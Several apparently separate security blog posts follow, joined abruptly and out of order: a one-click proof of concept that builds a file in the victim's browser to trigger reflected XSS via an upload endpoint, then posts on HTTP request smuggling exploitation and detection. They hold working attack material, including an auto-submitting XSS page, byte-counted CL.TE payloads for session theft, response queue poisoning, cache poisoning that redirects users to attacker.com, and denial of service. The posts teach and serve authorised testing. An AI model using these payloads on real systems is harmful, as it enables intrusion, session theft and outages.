Reflected XSS on a file upload endpoint is routinely written off as unexploitable. The reasoning is always the same: the victim would have to craft a malicious file and upload it themselves, so there is no realistic attack path. That reasoning is wrong, and it is wrong for a boring reason — it is an assumption about delivery, not about the vulnerability.

A single HTML page can build the file in the victim's browser, populate a file input with it, and submit a cross-origin multipart POST as a top-level navigation. No file picker. No filesystem. One click on a link.

This post is about that pattern, why the obvious approach fails, and where its real limits are.

1. The assumption

Find a reflection in a ?q= parameter and nobody questions the impact. Find the same reflection behind an endpoint that consumes multipart/form-data and the conclusion flips: only the person who uploaded the file can trigger it.

The unstated premise is that a file upload requires a human to open a file picker and select something from disk. That premise held in 2010. It has not held since Blob, File and DataTransfer became universally available.

The interaction required from the victim is exactly the same as for a reflected GET-based XSS: click a link. Everything after that click is automated. The rest of this post is the mechanics of that automation, and an honest accounting of what it does and does not buy you.

2. Anatomy of what you need to reproduce

Before automating anything, look at the request you are actually trying to forge. Stripped down, an upload POST looks like this:

POST /api/import/validate/public HTTP/1.1
Host: target.example
Content-Type: multipart/form-data; boundary=----geckoformboundary12a924e3
Content-Length: 1189

------geckoformboundary12a924e3
Content-Disposition: form-data; name="file"; filename="poc.xml"
Content-Type: text/xml

<?xml version="1.0" encoding="UTF-8"?>
...
------geckoformboundary12a924e3--

Three things matter:

• name="file" — this is the parameter name. This is what the server binds to. Get it wrong and nothing works.

• filename="poc.xml" — often cosmetic, sometimes fed into extension validation, occasionally reflected itself.

• The inner Content-Type — the declared type of the part, independent of the request's own content type. Some validators check it, most do not.

The boundary is irrelevant to you, and that turns out to matter a lot in the next section.

3. Why fetch() is the wrong tool

The obvious first instinct is FormData plus fetch(). It builds a valid multipart body in three lines and it works perfectly — for a CSRF-style side effect.

It does not work for XSS, and the reason is worth internalising:

• fetch() gives you the response as data, inside your origin's JavaScript context. Cross-origin, you either get blocked by CORS or, with mode: "no-cors", an opaque response you cannot read at all. Either way the HTML is never parsed as a document, and no script in it ever executes.

• A real <form> submission performs a top-level navigation. The browser renders the response as a document, at the target's URL, in the target's origin. Any script in that response executes with full access to that origin.

So:

fetch() — you can read the response, but you cannot execute it. form.submit() — you cannot read the response, but it executes in the target's origin.

For XSS, always the second. As a bonus, the browser generates the boundary and assembles the body itself, which makes this approach considerably more robust than hand-rolling a multipart body as a string.

"But doesn't the target have to allow my origin?"

No, and this is the objection that comes up every time, so it is worth answering properly.

CORS does not govern navigations. CORS decides whether your JavaScript is allowed to read a cross-origin response. Here you read nothing: the browser leaves your page and navigates to the target. Forms predate CORS by a decade and have always been submittable cross-origin. That is precisely why CSRF exists as a vulnerability class, if a cross-origin <form> needed the destination's permission, it wouldn't.

The consequence that matters: after the navigation, the document lives at target.example. Your script executes in the target's origin, with its document.domain and access to any non-HttpOnly cookie via document.cookie. Your attacker origin is no longer in the picture; the tab left.

What can stop you, in descending order of likelihood:

• The response Content-Type plus nosniff. The real gate. No text/html, no document, no execution.

• CSP script-src. Kills inline execution even with a flawless reflection.

• Server-side Origin / Referer validation. The only one genuinely related to the question. The browser does send Origin: https://attacker.example on a cross-origin form POST, along with Sec-Fetch-Site: cross-site. This is not CORS — the header is informational — but plenty of frameworks validate it out of the box, and if the backend does, you are rejected before the reflection ever happens. Check this first; it is the single most common reason a working manual payload fails to fire from a hosted PoC.

• X-Frame-Options / frame-ancestors. Irrelevant here, and that is exactly why the PoC uses a top-level navigation rather than an iframe. Those directives only govern framing.

The price of being cross-site is the SameSite cookie loss covered below. If you need a same-site position, any HTML injection or open redirect on the target domain gives you one — and from there the cookies travel.

4. The obstacle: input.files is read-only

You cannot do this:

input.value = "/etc/passwd";   // blocked
input.files = [myFile];        // TypeError

File inputs are deliberately locked down. A page that could set input.value could exfiltrate arbitrary files from the victim's disk, so browsers made value unwritable and files a read-only FileList.

The rationale is stated plainly in the spec history. When Nico Weber proposed lifting the restriction on the WHATWG list in 2012, he named the exact attack it was there to prevent assigning a filesystem path to input.files and submitting the form, and argued it no longer applied, since the attribute's type had changed from a string to a FileList. You cannot name a file on the victim's disk any more. You can hand the input a file you constructed yourself, and that is a different threat model entirely.

This is the wall that most upload-XSS PoCs hit, and it is the technical reason behind the self-XSS verdict. It also has a well-documented door in it.

5. The bridge: DataTransfer

DataTransfer was built for drag & drop. Unlike FileList, it is constructible and writable and its .files property is a genuine FileList that the file input accepts.

The whole chain is five steps:

string → Blob → File → DataTransfer.items.add() → input.files → form.submit()

In code:

const blob = new Blob([xmlString], { type: "text/xml" });
const file = new File([blob], "poc.xml", { type: "text/xml" });

const dt = new DataTransfer();
dt.items.add(file);

input.files = dt.files;   // now legal

That is the entire trick. The file exists only in memory, never touches disk, and the victim never sees a file picker.

6. The full one-click PoC

<!DOCTYPE html>
<html>
<body style="font-family: sans-serif; text-align: center; margin-top: 50px;">

<p>Loading…</p>
<button onclick="go()">Continue</button>

<script>
function go() {
  const payload = `<?xml version="1.0" encoding="UTF-8"?>
<record>
  <field>canary1a&lt;script>alert(document.domain)&lt;/script>canary1b</field>
</record>`;

  const blob = new Blob([payload], { type: "text/xml" });
  const file = new File([blob], "poc.xml", { type: "text/xml" });

  const dt = new DataTransfer();
  dt.items.add(file);

  const form = document.createElement("form");
  form.method  = "POST";
  form.action  = "https://target.example/api/import/validate/public";
  form.enctype = "multipart/form-data";

  const input = document.createElement("input");
  input.type  = "file";
  input.name  = "file";
  input.files = dt.files;

  form.appendChild(input);
  document.body.appendChild(form);
  form.submit();
}

window.onload = go;
</script>

</body>
</html>

Host it anywhere, send the link, done. The Continue button is a fallback in case the auto-submit is suppressed, and it makes for a much better demo video than a page that flashes and redirects before the viewer sees anything.

7. Real-world gotchas

SameSite cookies. This is a cross-site POST, so Lax and Strict cookies do not travel. Your payload executes in the target's origin but in an unauthenticated context. Be honest about this in the report — it caps the impact at phishing under a trusted domain, response defacement, and abuse of origin trust, rather than session theft. Overselling it is the fastest way to lose a triager's goodwill.

The </script> trap. A template literal inside an inline <script> does not protect you: while in the script data state, the HTML tokenizer scans for the literal sequence </script and terminates the block there — string context, backticks and comments are all irrelevant. Write <\/script> and move on. This one costs people twenty minutes every single time.

Encoding for the inner parser, which happens to solve the trap for free. This is worth walking through carefully, because three parsers are involved and each one sees something different.

In XML, < is illegal in character data and must be written <. So the payload inside the template literal reads:

canary1a<script>alert(document.domain)</script>canary1b

Now trace it:

1. The HTML tokenizer, reading your inline <script> block, sees </script>. Character references are not decoded in the script data state, and there is no literal < in front of /script, so the terminator never matches. Your script block survives — the </script> trap is neutralised as a side effect of the XML encoding.

2. The XML parser on the server decodes < back to <, so the element value becomes the literal string <script>alert(1)</script>.

3. The victim's HTML parser receives that value reflected into the error page without encoding, and executes it.

> needs no escaping in XML character data, which is why only the opening angle brackets are encoded. The general principle: encode for the parser immediately in front of you, not for the final sink. Every hop that decodes on your behalf is a hop that can carry your payload past a filter looking for <script.

CSP on the response. A restrictive script-src on the target kills inline execution even with a perfect reflection. Check it before spending an afternoon.

X-Content-Type-Options: nosniff. Half of this class of bug is the response content type. If it comes back as application/json with nosniff, the browser will not render it as a document and nothing runs.

Extra parts and CSRF tokens. Add hidden inputs to the form for any additional fields. If the endpoint requires an unpredictable token, the chain breaks — and that is a legitimate reason for a lower severity.

Extension and magic byte validation. You control the filename via the File constructor and the declared type via the Blob. For magic byte checks, prepend the required bytes to the blob contents.

Post/Redirect/Get. If the server 302s after the POST, the reflected content may never be rendered. Worth checking early.

8. A worked example: the XML validation endpoint

The pattern is easiest to see in a concrete shape, so here is one that turns up regularly: a public validation tool that accepts an XML document via multipart/form-data and validates it against an XSD.

When an element value fails validation, the server helpfully embeds that value verbatim into the error message — and serves the whole response as Content-Type: text/html.

Two independent defects, harmless apart, critical together:

1. No contextual output encoding of the reflected value.

2. A content type that instructs the browser to parse the response as a document.

That second point deserves emphasis, because it is the half everyone forgets. If the response came back as application/json, the exact same missing-encoding bug would execute nothing at all. The content type is not a detail of presentation, it is what decides whether a reflection is a cosmetic bug or an XSS.

The reflection points are easiest to find with random canary markers wrapping the payload: submit a document full of unique strings, then grep the error response to see exactly which values come back raw and which get escaped. Validation errors are verbose and nested, and eyeballing them does not scale.

And no, this is not XXE. In a properly configured parser, external entity resolution is off: no DOCTYPE processing, no SYSTEM fetches, no out-of-band callbacks. Worth stating explicitly, because "XML upload endpoint" makes everyone reach for XXE first and then stop thinking. The interesting bug here is downstream of the parser, in what the application does with a value it has already safely parsed.

Try it yourself

Everything above is reproducible locally in under two minutes:

Reproducible lab: a minimal vulnerable server that reproduces the reflect-plus-text/html pattern, and a parameterised PoC template pointing at localhost.

Prior art and credits

None of the APIs used here are new, and this is not the first write-up to chain them. If you want the primary sources rather than another blog repeating them:

Where the capability comes from — not security research, but the standards process:

• W3C Bug 10505 (2010) — the original request to allow a DataTransfer to be passed to a file input, so that forms could be processed without AJAX.

• WHATWG mailing list, May 2012 — Nico Weber's proposal to make files writable, including the security rationale for the original restriction. The single most useful link in this list.

• W3C Bug 22682 (2013) — Ian Hickson confirming WebKit's implementation of input.files = dataTransfer.files, and the API design discussion around it.

• Rik Schennink, "How To Set The Value Of A File Input" — the clearest web-dev-side explanation, plus the browser support history (Safari was last, in 14.1) and the macOS quirk where the filename does not render.

Security-side prior art:

• mchklt, "Self-XSS via filename + CSRF on contact us 'multipart/data' form" (2024) — the same chain applied to a reflection in the filename part. Notably, Burp's built-in multipart CSRF PoC handled everything except the file part, which is exactly why custom JS is needed. Also contains a neat filter bypass: document['domain'] when dot notation is blocked. He credits an earlier write-up by Sabermohamed.

• Yann C., "Leveraging Self-XSS via WYSINWYC" — a different approach to the same problem, and worth reading for the framing: it lists the impossibility of automating a POST payload via form auto-submit as an inherent limitation of self-XSS. That assumption is precisely what this post argues is no longer true.

What I hope this post adds is not the technique but the systematic treatment: why fetch() is the wrong tool, why CORS is not in play, where SameSite caps the impact, and how to demonstrate the whole thing so the delivery question never comes up.

Closing

The vulnerability in the worked example is ordinary a missing htmlspecialchars() and a wrong Content-Type. What makes this class worth writing about is that the gap between "unexploitable" and "reflected XSS" usually has nothing to do with the vulnerability. It comes down to whether anyone bothered to solve the delivery problem.

Files are parameters. Build them in the victim's browser.

This article is for educational purposes only, and applies solely to systems you are explicitly authorized to test.

Introduction

Once a frontend and a backend disagree about where one HTTP request ends and the next begins, an attacker can smuggle a hidden request into the connection so the backend processes it as if it were legitimate. That core desync is only the starting point — this post walks through what an attacker can actually do with it, from bypassing access controls with zero victim interaction, to hijacking another user's session by getting them to unknowingly complete a malicious request.

All examples below use a CL.TE desync (frontend trusts Content-Length, backend trusts Transfer-Encoding: chunked) purely because it's the clearest to follow. The same outcomes apply to the other discrepancy types — TE.CL, TE.TE, CL.0, and HTTP/2 downgrade smuggling (H2.TE and H2.CL) — just with different headers triggering the mismatch.

We'll follow a progression from attacks requiring no victim interaction to attacks affecting every user of the application:

Attacks with No Victim

The attacker sends every byte and reads the result themselves; no other user is ever involved.

Bypassing frontend access controls

Imagine an /admin endpoint that's supposed to be reachable only by internal users — but that restriction is enforced by the frontend, not the backend.

If the site is vulnerable to HTTP request smuggling, we can smuggle a hidden /admin request past the frontend's access controls and have it executed directly by the backend.

Request 1 — Smuggling the hidden request

The attacker sends a CL.TE payload containing a hidden GET /admin request after the chunk terminator (0\r\n\r\n). The frontend forwards the entire request based on Content-Length, but the backend stops parsing at the chunk terminator and treats the smuggled GET /admin as leftover data.

The POST receives a normal 200 OK response, while the hidden /admin request remains buffered on the backend connection, waiting to be processed next.

Request 2 — Bypassing the frontend control

The attacker sends a second ordinary request, no victim is involved.

• It passes through the frontend normally; there's nothing suspicious about it, so the frontend never inspects or blocks it.

• At the backend, the buffered leftover from Request 1 is still queued at the front of the connection. The backend prepends the smuggled GET /admin request to this new request, effectively processing /admin.

Because the backend — not the frontend — is the one enforcing routing to /admin, and the frontend never saw /admin as a distinct request to filter, the frontend access control is bypassed entirely. The /admin response comes back to the attacker on their own Request 2, so no victim interaction is ever required.

Revealing frontend header rewriting

Some frontends don't just forward requests — they rewrite them, appending a header the backend relies on for its access decision (a common example is X-Forwarded-For or Client-IP, set to the real client's address before forwarding).

Request smuggling can be used to reveal exactly what the frontend is rewriting. If you can get the smuggled request reflected somewhere publicly visible — for example, stored and displayed as a comment on a web page — you can read back the raw request as the backend actually received it. This exposes any headers the frontend added, modified, or stripped, giving you a precise picture of its rewriting logic.

Request 1 — Smuggling a partial comment submission

The attacker sends a CL.TE payload containing the start of a second, incomplete comment submission (POST ... User=User3&Comment=). The frontend forwards the entire request and appends its usual headers (such as X-Real-IP), but the backend stops parsing at 0\r\n\r\n and leaves the incomplete comment buffered on the connection.

The open Comment= field remains waiting for additional data, which will be supplied by the next request that arrives on that connection.

Request 2 — completing the smuggled comment with hidden headers

A second request arrives and is forwarded normally. Because the backend is still holding the buffered Comment= field from Request 1, the frontend-added headers (such as X-Real-IP) are absorbed into the comment instead of being treated as part of a new request.

When the comment is later displayed, it reveals the raw request as the backend received it, including any headers the frontend injected, modified, or stripped.

Attacks with a Passive Victim

A victim is required, but only as a source of data. The attacker never sends them a payload or targets their browser directly; the victim simply makes a normal request that becomes part of the attack.

Stealing another user's request as stored input

Rather than completing our own smuggled request, we can leave it deliberately unfinished so the backend keeps waiting on the connection for more bytes. The next real user to hit that same backend connection has their request appended directly into ours.

The setup mirrors the header-rewriting attack above: the same partial POST … User=User3&Comment= smuggled fragment, left open. The difference is who supplies the bytes that complete it.

Request 1 — Smuggling a partial comment submission

The attacker sends the same partial POST as before (conflicting Content-Length / Transfer-Encoding: chunked, body ending in 0\r\n\r\n followed by the deliberately incomplete POST / … Comment=).

• The frontend forwards it by Content-Length; the backend stops at 0\r\n\r\n and buffers the open-ended Comment= fragment, responding 200 OK to what it thinks was a complete request.

• The fragment stays buffered on the connection, with Comment= still open, waiting for whatever data arrives next.

Request 2 — hijacking a real user's request to steal their cookie

• When a legitimate user's request arrives, the backend appends it to the attacker's incomplete comment instead of treating it as a separate request.

• As a result, the victim's request — including their session cookie — is stored inside the comment, allowing the attacker to retrieve it later in the comment section.

Response Queue Poisoning

Response Queue Poisoning (RQP) exploits desynchronization between frontend and backend to misroute responses. Instead of tricking the backend into completing an incomplete request, the attacker sends two well-formed requests that are interpreted differently, causing responses to reach the wrong clients.

Crafting the RQP payload (CL.TE)

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 42\r\n
\r\n
0\r\n
\r\n
GET / HTTP/1.1\r\n
Host: example.com\r\n
\r\n

Byte check. The body is everything after the blank line:

0\r\n                 →  3
\r\n                  →  2
GET / HTTP/1.1\r\n    → 16
Host: example.com\r\n → 19
\r\n                  →  2
= 42 bytes

The critical detail is that the smuggled GET request ends with a blank line (\r\n\r\n), which closes its header section and makes it a fully valid, self-contained request the backend will queue and process independently.

The result: the frontend believes it sent one POST, while the backend has queued two separate requests — the POST (which ends at the chunk marker) and the complete GET. This mismatch is what creates the poisoned response queue.

The attack flow

• Step 1 — attacker sends the smuggling payload. The frontend treats it as one POST and forwards it. The backend interprets it as POST + hidden GET, queuing both: [POST (attacker), GET (smuggled)]

• Step 2 — a user submits login credentials. A legitimate user sends a login POST, which arrives at the backend and joins the queue behind the smuggled GET: [POST (attacker), GET (smuggled), POST /login (user)]

• Step 3 — attacker sends a follow-up request. The attacker sends another simple GET, which also joins the queue: [POST (attacker), GET (smuggled), POST /login (user), GET (attacker)]

The response mismatch: four responses, three requests sent

The backend processes all four requests in order and generates four responses:

• POST / (attacker's main POST) → 200 OK

• GET / (smuggled GET) → 200 OK

• POST /login (user's login) → 302 Found (with Set-Cookie / session token)

• GET / (attacker's follow-up) → 200 OK

However, the frontend believes it only sent three requests: the attacker's POST, the user's POST /login, and the attacker's GET.

When the four responses arrive from the backend, the frontend routes them based on its own incorrect count:

• Response 1 → attacker (the POST response) ✓

• Response 2 → user (should be the login response, but it's actually the smuggled GET's response)

• Response 3 → attacker (should be the attacker's GET response, but it's actually the user's login response)

• Response 4 → lost or delayed

The frontend and backend disagree on request boundaries: the frontend sees three requests while the backend processes four. Because it sent fewer requests than the backend processed, the frontend misroutes the responses — handing the attacker the victim's login response. In this example, this captures the user's session token without the attacker ever touching the login endpoint directly.

Attacks with an active victim

Now the victim is the target, not just the source: the attacker's response is delivered into the victim's browser and executes under the site's own origin.

Escalating reflected XSS into a stored-like vulnerability

HTTP Request Smuggling can dramatically increase the impact of a reflected XSS vulnerability. Normally, reflected XSS requires the attacker to persuade a victim to visit a specially crafted URL containing the payload. If the victim never clicks the link, the attack never executes.

For example, imagine the application reflects the search term without proper escaping:

GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: example.com

When processed, the payload is echoed back into the response and executed by the browser. The attacker must therefore convince each victim to visit a malicious URL, making the attack relatively unreliable.

If the same application is also vulnerable to HTTP Request Smuggling, the attacker can deliver that exploit without requiring any user interaction.

Crafting the payload

The attacker embeds the reflected-XSS request inside a CL.TE desynchronization payload:

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 66\r\n
\r\n
0\r\n
\r\n
GET /search?q=<script>alert(1)</script> HTTP/1.1\r\n
X-Ignore: x

Byte check. The body is everything after the blank line:

0\r\n                       →  3
\r\n                        →  2
GET /search?q=<script>alert(1)</script> HTTP/1.1\r\n → 50
X-Ignore: x                → 11
= 66 bytes

Request 1 — Smuggling the hidden request

The frontend trusts Content-Length and forwards the entire request to the backend. The backend, however, trusts Transfer-Encoding: chunked and stops parsing at the terminating 0\r\n\r\n, treating the original request as complete. It returns a normal 200 OK to the attacker while leaving the embedded /search request buffered on the reused backend connection — its header block still open on the dangling X-Ignore header.

Request 2 — Executing JavaScript in the victim's browser

When another user later sends a legitimate request, its request line is absorbed by the dangling X-Ignore header and the backend processes the buffered request:

GET /search?q=<script>alert(1)</script> HTTP/1.1
Host: example.com

The victim receives a page containing the reflected XSS payload even though they never clicked the malicious URL.

The attack changes the delivery mechanism entirely. Instead of relying on social engineering, the attacker abuses HRS to have the vulnerable response served automatically to unrelated users.

In other words, Request Smuggling does not create a new XSS vulnerability — it amplifies an existing one, making the attack behave similarly to stored XSS and significantly increasing its reliability and impact.

Attacks with Mass Impact

Normal browsing triggers the poisoned resource

Web cache poisoning

The attack concept

Response Queue Poisoning misroutes one response to whoever holds the connection next. Point that same off-by-one at a caching frontend and the misrouted response is no longer transient — it gets stored. Every user who later requests the poisoned URL is served the attacker's response straight from cache, with no smuggling on their end and nothing unusual to do. One request poisons the entry; the cache handles distribution.

The technique needs three things:

• A request-smuggling desync (CL.TE below);

• A way to make the backend emit an attacker-controlled response, most commonly an open redirect driven by the Host header, so a request to an internal endpoint returns a 3xx pointing at the attacker's origin.

• A cacheable resource that ordinary users request — a static asset like /resources/js/tracking.js is ideal.

Static assets are attractive targets because they are requested by many users, are frequently cached, and are often shared across large portions of the site. Poisoning a single asset can therefore affect every page that references it.

Note: The visitor never requests tracking.js directly. Their browser requests it automatically while rendering the page, which is why poisoning a widely used static asset can affect large numbers of users with a single cache entry. For instance:

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="utf-8">
    <title>Example Application</title>
</head>
<body>

    <h1>HomePage</h1>

    <script src="/resources/js/tracking.js"></script>

</body>
</html>

Crafting the payload (CL.TE)

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 61\r\n
\r\n
0\r\n
\r\n
GET /post/next?postId=3 HTTP/1.1\r\n
Host: attacker.com\r\n
\r\n

Byte count:

0\r\n                                →  3
\r\n                                 →  2
GET /post/next?postId=3 HTTP/1.1\r\n → 34
Host: attacker.com\r\n               → 20
\r\n                                 →  2
= 61 bytes

/post/next?postId=3 is assumed to issue a redirect built from the Host header — the open redirect the poison relies on.

Request 1 — Poisoning the queue

The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled GET /post/next?postId=3 queued on the connection, ready to return a 302 redirect to attacker.com.

Request 2 — Caching the poisoned response

The attacker requests /resources/js/tracking.js. The backend answers the queued smuggled request first, and the frontend mistakenly caches the resulting 302 redirect under /resources/js/tracking.js instead of the real script.

Victims

From here, every visitor who loads a page that pulls /resources/js/tracking.js gets the cached 302 and is redirected to attacker.com, where the attacker can serve arbitrary content (e.g: malicious javascript).

Unlike a single-victim desync, one poison request affects every user who requests the resource until the cache entry expires. The result is effectively stored XSS: attacker-controlled content is served to ordinary users automatically, except the payload lives in the cache rather than the application's data store.

Denial of service

This attack is simply web cache poisoning with a cacheable error instead of a malicious redirect. The frontend caches the error response under a legitimate resource, causing every user who requests that resource to receive the cached failure until the entry expires.

Crafting the payload (CL.TE)

POST / HTTP/1.1\r\n
Host: example.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 53\r\n
\r\n
0\r\n
\r\n
GET /nonexistent HTTP/1.1\r\n
Host: example.com\r\n
\r\n

The smuggled GET /nonexistent resolves to nothing, so the backend answers 404 Not Found .

Byte count:

0\r\n                          →  3
\r\n                           →  2
GET /nonexistent HTTP/1.1\r\n  → 27
Host: example.com\r\n          → 19
\r\n                           →  2
= 53 bytes

Request 1 — Poisoning the queue with an error

The attacker sends the CL.TE payload. The backend processes the POST normally but leaves the smuggled GET /nonexistent queued on the connection, ready to return a 404 Not Found.

Request 2 — Caching the error against a live asset

The attacker requests /resources/js/app.js. Instead of returning the script, the backend answers the queued GET /nonexistent first. The frontend misattributes the 404 to /resources/js/app.js and caches it under that URL.

Victims

From here, every visitor who loads a page that pulls /resources/js/app.js is served the cached 404. The script never loads, and every page that depends on it breaks — for all users, until the entry expires.

If 404 Not Found isn't cached, the same technique works with any cacheable error the backend can be induced to return, such as 414, 405, 410, or 501, as well as CDN-specific behaviors exploited by CPDoS. The impact depends on the target: poison a shared script or API response and every dependent page breaks.

Caching isn't required, either. A persistent desync can continuously misroute responses on reused backend connections, causing users to receive incorrect responses and degrading service even without a cache.

As with the other attacks, the same principle applies across all desync variants; only the trigger differs.

Summary

Across this series we've gone from why frontends and backends disagree on request boundaries, through the six variants that create those disagreements, to what an attacker can actually do with them: bypassing frontend access controls, revealing hidden request rewriting, stealing another user's session, poisoning the response queue to capture sensitive responses, turning a reflected XSS into something that behaves like stored XSS, poisoning a shared cache to serve attacker-controlled content to every visitor, and taking resources offline by caching errors against them.

These examples are only a sample of what's possible. Throughout this article we combined request smuggling with a handful of familiar flaws—XSS, Host header injection, open redirects, and cache behavior—but the same desynchronization primitive can amplify many other vulnerabilities. Any functionality that depends on request boundaries, routing, authentication, caching, or trust between frontend and backend components can become a target.

The common thread is always the same: a disagreement about where one request ends and the next begins. Once an attacker gains control over that boundary, they gain influence over traffic that was never meant for them. Everything else—the stolen session, the poisoned cache, the XSS delivery mechanism, the access-control bypass—is simply a consequence of how that primitive interacts with the rest of the application.

Every request smuggling variant can be detected using the same underlying approach. First, create a disagreement about where a request ends. Then look for evidence that the leftover bytes were interpreted as part of a subsequent request.

That evidence usually comes from one of two sources:

• Timeout-based probes, where one component waits for bytes that another component believes belong elsewhere.

• Differential probes, where the desynchronization produces an observable change in application behavior.

Timeout-Based Probe

Craft a request that causes one server to wait for bytes that never arrive. On a vulnerable target, the connection hangs until the socket times out. On a non-vulnerable target, the request completes normally.

This is usually the safest initial probe because a timeout does not poison the request queue. However, it is generally ineffective against CL.0 vulnerabilities.

Note: A timeout is strong evidence of desynchronization, but it is not definitive proof of request smuggling.

Differential Probe

A timeout is only a hint; a corrupted response is stronger evidence.

If a parsing discrepancy causes part of one request to spill into the next, the backend may misinterpret the follow-up request and return an unexpected 404 Not Found. Because the same request normally succeeds, a reproducible 404 can indicate that the connection has become desynchronized.

To keep testing reliable:

• Send the attack request and follow-up request on separate connections (except when testing CL.0).

• Use the same path and parameters for both requests.

• Repeat suspicious results to account for interference from normal traffic.

• If another user's request appears corrupted, stop testing immediately.

One important rule: always run the CL.TE timing probe before TE.CL. If the target is actually CL.TE-vulnerable, a TE.CL probe can interfere with legitimate traffic. Only escalate once CL.TE testing comes back clean.

CL.TE (frontend CL, backend TE)

Timeout-Based Probe

The frontend trusts Content-Length and stops reading after four bytes. The backend trusts Transfer-Encoding: chunked and continues waiting for a complete chunked body. Because the terminating chunk never arrives, the connection hangs until timeout.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 4\r\n
\r\n
1\r\n
A\r\n
X

Differential Probe

Once the timeout suggests a likely desynchronization, switch to a differential probe.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 35\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X

Byte count:

0\r\n (3) 
+ \r\n (2) 
+ GET /404 HTTP/1.1\r\n (19) 
+ X-Ignore: X (11) 
= 35 bytes.

TE.CL (frontend TE, backend CL)

Timeout-Based Probe

The frontend treats 0\r\n\r\n as the end of the chunked body. The backend trusts Content-Length: 6 and waits for one more byte that never arrives.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 6\r\n
\r\n
0\r\n
\r\n
X\r\n

Differential Probe

Once the timeout suggests a likely desynchronization, switch to a differential probe.

POST / HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Content-Length: 4\r\n
Transfer-Encoding: chunked\r\n
\r\n
2d\r\n
POST /404 HTTP/1.1\r\n
Content-Length: 15\r\n
\r\n
x=1\r\n
0\r\n
\r\n

Byte count:

POST /404 HTTP/1.1\r\n (20) 
+ Content-Length: 15\r\n (20) 
+ \r\n (2) 
+ x=1 (3) 
= 45 bytes (0x2d).

TE.TE — obfuscate the Transfer-Encoding header

Both servers understand chunked encoding, so a normal Transfer-Encoding: chunked header does not create a parsing discrepancy. To trigger desynchronization, the header must be obfuscated so that only one side recognizes it.

Test one obfuscation at a time.

Once an obfuscation causes only one component to recognize Transfer-Encoding, the situation effectively reduces to either CL.TE or TE.CL. From that point, the same timeout and differential probes apply.

CL.0 — backend ignores the body

Some endpoints ignore Content-Length entirely and behave as though the request body were empty. Any bytes in the body remain on the socket and are interpreted as a new request.

Good hunting targets include:

• Static files

• Server-level redirects

• Error-generating endpoints

The Content-Length header is syntactically valid and accurately describes the transmitted body. The vulnerability exists because the backend ignores it.

Differential Probe

POST /static-or-redirect-endpoint HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
Connection: keep-alive\r\n
Content-Type: application/x-www-form-urlencoded\r\n
Content-Length: 39\r\n
\r\n
GET /hopefully404 HTTP/1.1\r\n
X-Ignore: X

Byte count:

GET /hopefully404 HTTP/1.1\r\n (28) 
+ X-Ignore: X (11) 
= 39 bytes. 

A reproducible 404 where a normal request would succeed is strong evidence that the backend ignored the body and interpreted it as a separate request.

H2.CL / H2.TE: The downgrade reintroduces the conflict

HTTP/2 uses binary framing and is not vulnerable to classic CL/TE ambiguity by itself. The problem appears when an intermediary downgrades HTTP/2 to HTTP/1.1 before forwarding the request.

H2.CL

H2.CL depends on the downgrade implementation preserving an attacker-controlled Content-Length header during translation.

Timeout-Based Probe

Inject a Content-Length value larger than the actual body.

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 15\r\n
\r\n
(no body — empty DATA frame)

The edge forwards a zero-byte body while preserving Content-Length: 15. The backend expects fifteen bytes, receives none, and waits until timeout.

Any value larger than the real body length works.

Differential Probe

Inject Content-Length: 0.

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Content-Length: 0\r\n
\r\n
GET /404 HTTP/1.1\r\n
Host: vulnerable-website.com\r\n
X-Ignore: X

The backend treats the outer request as bodyless and parses the embedded request separately. If repeated testing consistently produces a 404, desynchronization is likely.

H2.TE

If Transfer-Encoding: chunked survives the downgrade process, the situation effectively becomes CL.TE. The same timeout and differential probes apply, but they are delivered through an HTTP/2 request.

Timeout-Based Probe

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
1\r\n
A\r\n

The backend honors Transfer-Encoding, reads the first chunk, and then waits for the terminating chunk that never arrives.

Differential Probe

POST / HTTP/2\r\n
Host: vulnerable-website.com\r\n
Transfer-Encoding: chunked\r\n
\r\n
0\r\n
\r\n
GET /404 HTTP/1.1\r\n
X-Ignore: X

The backend ends the body at the zero chunk and leaves the embedded request buffered for later processing, producing the same behavior observed in CL.TE.

If the edge strips a normal Transfer-Encoding header, you may need to smuggle it through a different header and rely on the downgrade process to reconstruct it.

foo: bar\r\ntransfer-encoding: chunked

The edge sees only the foo header and allows it through. After downgrade, the embedded line break can split the value into two separate headers, recreating Transfer-Encoding: chunked.

The timeout and differential payloads remain unchanged.

Summary

HTTP request smuggling occurs when different components disagree about where a request ends and the next one begins. By deliberately triggering these parsing discrepancies and observing timeouts or differential responses, we can identify the major variants, including CL.TE, TE.CL, TE.TE, CL.0, H2.CL, and H2.TE.

In this post, we've focused on detection and confirmation. In the next post, we'll move on to exploitation techniques and explore the real-world impact of HTTP request smuggling vulnerabilities.

HTTP Request Smuggling is not a single technique but a family of desynchronization attacks. The specific variant depends on the protocols spoken by the frontend and backend and on how each side determines where a request ends.

The following table summarizes the six variants covered in this post:

Those six variants fall into three broad categories:

• Header disagreement (CL.TE, TE.CL) — the frontend and backend trust different framing mechanisms.

• Parsing disagreement (TE.TE, CL.0) — both sides receive the same request but interpret it differently.

• Downgrade issue (H2.CL, H2.TE) — ambiguity is introduced when an HTTP/2 request is translated into HTTP/1.1.

One precondition underlies every variant: the frontend reuses a single keep-alive connection to the backend across multiple clients. That connection reuse is what lets attacker-controlled leftover bytes attach themselves to the next user's request.

